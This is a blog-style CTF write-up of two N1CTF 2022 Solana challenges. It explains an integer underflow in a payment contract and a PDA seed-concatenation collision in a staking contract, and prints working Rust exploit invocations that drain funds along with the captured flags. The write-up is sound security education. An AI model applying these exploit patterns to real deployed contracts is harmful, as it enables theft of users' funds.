Contents

N1CTF 2022 Solana Challenges Write-up

Note
Use the table of contents on the right to navigate to the section that you are interested in.

Preface

It has been quite a while since my last blog post, and my blog has been gathering dust. Consequently, I have made the decision to begin writing about some fundamental concepts I have learned regarding exploiting Solana Smart Contracts, an area of interest that I have been studying for the past few weeks. Similar to my previous series on the Linux kernel, I will be utilizing CTF challenges as the focus of my investigation. This post will cover two Solana challenges from N1CTF 2022, the most recent CTF in which I have participated.

About Solana

I won’t go into details about Solana or blockchain related stuffs in this post because first of all, I myself am not fully understand everything about them still, and I don’t want to spread misinformation; and secondly, it would be quite redundant since there exists many resources about Solana on the Internet already. Some of those resources:

N1CTF 2022 - Utility Payment Service

Challenge Info

Given files

This section provides a brief overview of the handful of files included in the challenge. There are three directories: program, server, and solve.

  • The program directory contains the Rust project for the target contract’s source code. It includes typical cargo components and the src directory, which consists of the Rust source files entrypoints.rs, lib.rs, and processor.rs (I will cover these files later).
  • The server directory is another Rust project that implements a program to manage our connection to the challenge’s server. It is created using Ottersec’s Solana PoC framework and initializes the Solana environment whenever we connect to the server.
  • The solve directory is also a Rust project. Our objective is to modify the src/processor.rs file to create our exploit contract. We can then utilize the solve.py script to run this contract against the server to obtain the flag if our exploit succeeds.

The target contract functionalities

Let’s take a deeper look at the functionalities of our target contract. As the name suggests, it’s a payment service that is implemented with two PDAs: a reserve account to store all the actual funds, and an escrow account for each user to manage their balance on the contract:

#[repr(C)]
#[derive(BorshSerialize, BorshDeserialize)]
pub struct Escrow {
    pub user: Pubkey,
    pub amount: u16,
    pub bump: u8,
}

This contract supports 4 instructions for interaction. Firstly, users can use the Init instruction to create their own escrow account, with the amount of funds initialized to 0:

invoke_signed(
  &system_instruction::create_account(
    &user.key,
    &expected_escrow,
    1,
    ESCROW_ACCOUNT_SIZE as u64,
    &program,
  ),
  &[user.clone(), escrow_account.clone(), sys_prog.clone()],
  &[&["ESCROW".as_bytes(), &user.key.to_bytes(), &[escrow_bump]]],
)?;

let escrow_data = Escrow {
    user: *user.key,
    amount: 0,
    bump: escrow_bump,
};

Users can then deposit or withdraw lamports to the contract using the Deposit and Withdraw instructions, which include transaction checks to ensure the signer is the user and the accounts are the correct PDAs belonging to the contract and user respectively:

assert!(user.is_signer);
let (expected_reserve, _reserve_bump) = get_reserve(*program);
assert_eq!(expected_reserve, *reserve.key);
let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key);
assert_eq!(expected_escrow, *escrow_account.key);

The desired amount of lamports will then be transferred to the reserve account, and the amount field of the escrow account will be increased or decreased accordingly:

invoke(
    &system_instruction::transfer(&user.key, &reserve.key, deposit_amount as u64),
    &[
        user.clone(),
        reserve.clone(),
        sys_prog.clone()
    ],
)?;

let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?;
escrow_data.amount += deposit_amount;

The Withdraw instruction is pretty much the same, after some checks, ALL the lamports in escrow_data.amount will be transferred from the reserve account to the user, and escrow account’s amount will be set to 0.

The Pay instruction, the most unique and interesting of the four, allows users to utilize funds directly from their escrow account to make a “utility payment”. The transaction checks are similar to those for Deposit and Withdraw, and after being validated, the payment logic is executed:

let base_fee = 15_u16;
if escrow_data.amount >= 10 {
    if amount < base_fee {
        escrow_data.amount -= base_fee;
    } else {
        assert!(escrow_data.amount >= amount);
        escrow_data.amount -= amount;
    }
} else {
    msg!("ABORT: Cannot make payments when the escrow account has a balance less than 10 lamports.");
}

And this is exactly where the vulnerability lies.

The vulnerability

As we can see in the code snippet above, the user can only make a payment if they have deposited 10 lamports or more. After that, the desired amount of lamport will be used to make a payment, but the minimum amount that will be used is base_fee, which equals to 15.

So what if the user invokes this instruction with an amount that is above 10 but below 15? In this case, both escrow_data.amount >= 10 and amount < base_fee checks will pass, and then escrow_data.amount -= base_fee will be executed. Therefore, if they have only deposited an amount that is less than 15, their escrow_data.amount will be less than 15, and this will be an integer underflow because escrow_data.amount is an unsigned type u16.

A common misconception for Rust developers is that Rust is a safe language and will always check for arithmetic overflows/underflows by itself. This is NOT TRUE, by default, Rust only checks for these things in DEBUG BUILD, and not release build. Rust silently ignores arithmetic overflows/underflows in its default release build, the same way C does. As far as I know, there are 2 ways to tell Rust to check for those in the release build:

  • By using .checked_ functions, for example, a safe arithmetic in this case will be escrow_data.amount.checked_sub(base_fee).
  • By setting the overflow-checks option to true in Cargo.toml, as explained in the Rust documentation here. In this challenge, this option is not enabled in program/Cargo.toml.

The server program

Let’s take a quick look at what are initialized on the server before crafting our exploit, implemented in server/src/main.rs. It’s actually pretty straightforward, this is what it does step by step:

  1. Make a user account
  2. Make a reserve PDA for the target contract
  3. Give user 50 lamports
  4. Give reserve 1_000_000 lamports
  5. Run our exploit contract
  6. Check if user’s balance is more than 60_000 or not. If they do, the flag is printed

It’s clear that the objective is to turn our 50 lamports to an amount greater than 60_000 with our exploit contract.

The exploit contract

As explained in the vulnerability section above, our plan is to invoke the Pay instruction with an amount greater than 10 and less than 15, while our escrow_data.amount is also greater than 10 and less than 15. The steps to do that are:

  1. Invoke Init to initialize our escrow account
  2. Invoke Deposit with an amount greater than 10 and less than 15.
  3. Invoke Pay with the same amount as above, to underflow the unsigned escrow_data.amount to a very large value.
  4. Invoke Withdraw to withdraw the entire balance that we just gained.

Conveniently, solve/src/processor.rs already implemented the first invocation for us:

invoke(
    &Instruction {
        program_id: *utility_program.key,
        accounts: vec![
            AccountMeta::new(*user.key, true),
            AccountMeta::new(*reserve.key, false),
            AccountMeta::new(*escrow_account.key, false),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
        data: ServiceInstruction::Init { }
            .try_to_vec()
            .unwrap(),
    },
    &[
        reserve.clone(),
        escrow_account.clone(),
        user.clone(),
        sys_prog_account.clone(),
    ],
)?;

Therefore, what I did was to copy this invocation 3 more times, and then just simply changed the instruction names and arguments:

invoke(
    &Instruction {
        program_id: *utility_program.key,
        accounts: vec![
            AccountMeta::new(*user.key, true),
            AccountMeta::new(*reserve.key, false),
            AccountMeta::new(*escrow_account.key, false),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
        data: ServiceInstruction::DepositEscrow { amount: 10_u16 }
            .try_to_vec()
            .unwrap(),
    },
    &[
        reserve.clone(),
        escrow_account.clone(),
        user.clone(),
        sys_prog_account.clone(),
    ],
)?;

invoke(
    &Instruction {
        program_id: *utility_program.key,
        accounts: vec![
            AccountMeta::new(*user.key, true),
            AccountMeta::new(*reserve.key, false),
            AccountMeta::new(*escrow_account.key, false),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
        data: ServiceInstruction::Pay { amount: 11_u16 }
            .try_to_vec()
            .unwrap(),
    },
    &[
        reserve.clone(),
        escrow_account.clone(),
        user.clone(),
        sys_prog_account.clone(),
    ],
)?;

invoke(
    &Instruction {
        program_id: *utility_program.key,
        accounts: vec![
            AccountMeta::new(*user.key, true),
            AccountMeta::new(*reserve.key, false),
            AccountMeta::new(*escrow_account.key, false),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
        data: ServiceInstruction::WithdrawEscrow {}
            .try_to_vec()
            .unwrap(),
    },
    &[
        reserve.clone(),
        escrow_account.clone(),
        user.clone(),
        sys_prog_account.clone(),
    ],
)?;

The only thing left to do is to change the host IP and port in solve.py and run it to retrieve the flag from the server. The result shows that user’s balance went from 50 to 65570, and thus gives us the flag:

n1ctf{cashback_9dejko3vrpaxq8gsy6iu}

N1CTF 2022 - Simple Staking

Challenge Info

Given files

Different from the last challenge, this challenge is written with Anchor Framework instead of just vanilla Rust. Anchor is said to be safer and less error-prone, but it doesn’t mean that it’s bug-free. We are also given a bunch of files, but only some of them are important to us:

  • framework/chall/program/chall/src/lib.rs: the implementation of the target contract.
  • framework/chall/src/main.rs: the implementation of the initializations on the server using Solana CTF Framework.
  • framework-solve/solve/program/solve/src/lib.rs and framework-solve/solve/src/main.rs: the implementaion of our exploit contract and its invocation.

The target contract functionalities

I don’t really understand what “staking” means in this context, but it doesn’t really matter. The contract implements 3 instructions: Register, Deposit and Withdraw.

The Register instruction takes 2 arguments org_name, employee_id, and some accounts, most notably catalog, employee_record and user:

#[account]
#[repr(C, align(8))]
#[derive(Default)]
pub struct Catalog {
    pub orgs: Vec<String>,
    pub ids: Vec<String>,
}

#[account]
#[repr(C, align(8))]
#[derive(Default)]
pub struct EmployeeRecord {
    pub org: String,
    pub id: String,
    pub key: Pubkey,
}

It first checks if org_name and employee_id are already in catalog or not. If that’s not the case, it will add them to it and then populate the fields of employee_record. Therefore, this intruction is basically used to register a user into the system using their organization name and employee ID.

let employee_key = ctx.accounts.user.key();
employee_record.org = org_name;
employee_record.id  = employee_id;
employee_record.key = employee_key;

The Deposit and Withdraw instructions take 3 arguments org_name, employee_id, amount and some notable accounts vault, employee_record, reserve, user_token_account, and mint. Different from the last challenge, this contract operates on tokens instead of lamports. Each user will have their own ATA for this token called user_token_account, and a vault account which is a PDA to keep track of their token balance on the contract. There are a lot of checks to be made before a deposit or withdraw transaction can take place.

First of all, the user invoking the instruction must have been registered to the system:

require!(
    user.key() == employee_record.key && org_name == employee_record.org && employee_id == employee_record.id,
    CoreError::UnknownEmployee
);

For Withdraw, the amount must also be a sane value:

require!(
    vault.amount >= amount,
    CoreError::InsufficientBalance
);

Secondly, the vault account must use the invoking user’s org_name and employee_id as seeds:

#[account(
    init_if_needed,
    seeds = [org_name.as_bytes(), employee_id.as_bytes()],
    bump,
    space = Vault::SIZE,
    payer = user 
)]
pub vault: Account<'info, Vault>,

Thirdly, the employee_record account must belong to the invoking user:

#[account(
    seeds = [user.key().as_ref()],
    bump,
    constraint = employee_record.org == org_name,
    constraint = employee_record.id == employee_id,
    constraint = employee_record.key == user.key(),
)]
pub employee_record: Account<'info, EmployeeRecord>,

Next, the reserve account and the user_token_account must correspond with the correct mint token account:

#[account(
    mut,
    seeds = [ b"RESERVE" ],
    bump,
    constraint = reserve.mint == mint.key(),
)]
pub reserve: Account<'info, TokenAccount>,

#[account(
    mut,
    constraint = user_token_account.owner == user.key(),
    constraint = user_token_account.mint  == mint.key()
)]
pub user_token_account: Account<'info, TokenAccount>,

And finally, the user must be the signer:

pub user: Signer<'info>,

With all those constraints, forging a fake token and ATA, forging a fake employee_record, or using another user’s vault are all invalid strategies. The vulnerability is not so obvious here, so let’s take a look at the server initialization program to see what we can do next.

The server program

The program itself is pretty long, but here are some important things that it does:

  1. Create a mint account
  2. Initialize the target contract
  3. Register a user with org_name = "product" and employee_id = "employ_A"
  4. Mint 1000 tokens to this user
  5. Create a vault PDA for this user
  6. Deposit 500 tokens to this user’s vault account
  7. Give the player 100 tokens
  8. Run our exploit contract
  9. Check if the player has more than 100 tokens. If they do, the flag is printed

It’s clear that the objective is to steal tokens from employ_A’s vault.

The vulnerability

Recall that when registering a user, it’s entirely up to the user to choose their org_name and employee_id, as long as they are not already in the catalog. This is important because the seeds to generate the user’s vault PDA are exactly those 2 values:

#[account(
    init_if_needed,
    seeds = [org_name.as_bytes(), employee_id.as_bytes()],
    bump,
    space = Vault::SIZE,
    payer = user 
)]
pub vault: Account<'info, Vault>,

As we can see, those 2 values are simply concatenated together to form the seed. So for example in case of employee A, their seed will be productemploy_A.

So what if we can somehow register a user that has the same seed as employee A? In that case, we can use employee A’s vault as our own, and basically can withdraw anything from their vault. This is easy to do thanks to how the seeds are designed. If we create a user with org_name = "producte" and employee_id = "mploy_A", it will pass all the checks because these values are not in the catalog, and our vault PDA’s seeds will still be productemploy_A. And that is basically our strategy to exploit this contract.

The exploit contract

Although the vulnerability is very sneaky, the exploit is very easy to implement.

First of all, I changed the vault PDA’s seeds in framework-solve/solve/src/main.rs from &[b"product", b"employ_B"] to &[b"producte", b"mploy_A"]. I also changed the host IP and port to be the challenge’s server.

The same goes for o1 and e1 in framework-solve/solve/program/solve/src/lib.rs, I also changed them to producte and mploy_A:

let o1 = String::from("producte");
let e1 = String::from("mploy_A");

The invocation of the Register instruction is already written for us, so by changing these names, I will have a user with org_name = "producte" and employee_id = "mploy_A" registered.

Then, the only thing left to do is to invoke Withdraw to steal tokens from employee A’s vault:

let o2 = String::from("producte");
let e2 = String::from("mploy_A");

let cpi_accounts = chall::cpi::accounts::Withdraw {
    vault: ctx.accounts.vault.to_account_info(),
    employee_record: ctx.accounts.user_record.to_account_info(),
    reserve: ctx.accounts.reserve.to_account_info(),
    user_account: ctx.accounts.user_token_account.to_account_info(),
    mint: ctx.accounts.mint.to_account_info(),
    payer: ctx.accounts.user.to_account_info(),
    token_program: ctx.accounts.token_program.to_account_info(),
    system_program: ctx.accounts.system_program.to_account_info(),
    rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::withdraw(cpi_ctx, o2, e2, 500)?;

And that’s it, running run.sh to connect to the server and get the flag:

n1ctf{I_sh0uld_h4ve_ch0s3n_4_b3tt3r_se3d_de5ign}

Appendix

  • The files for Utility Payment Service are here
  • The files for Simple Staking are here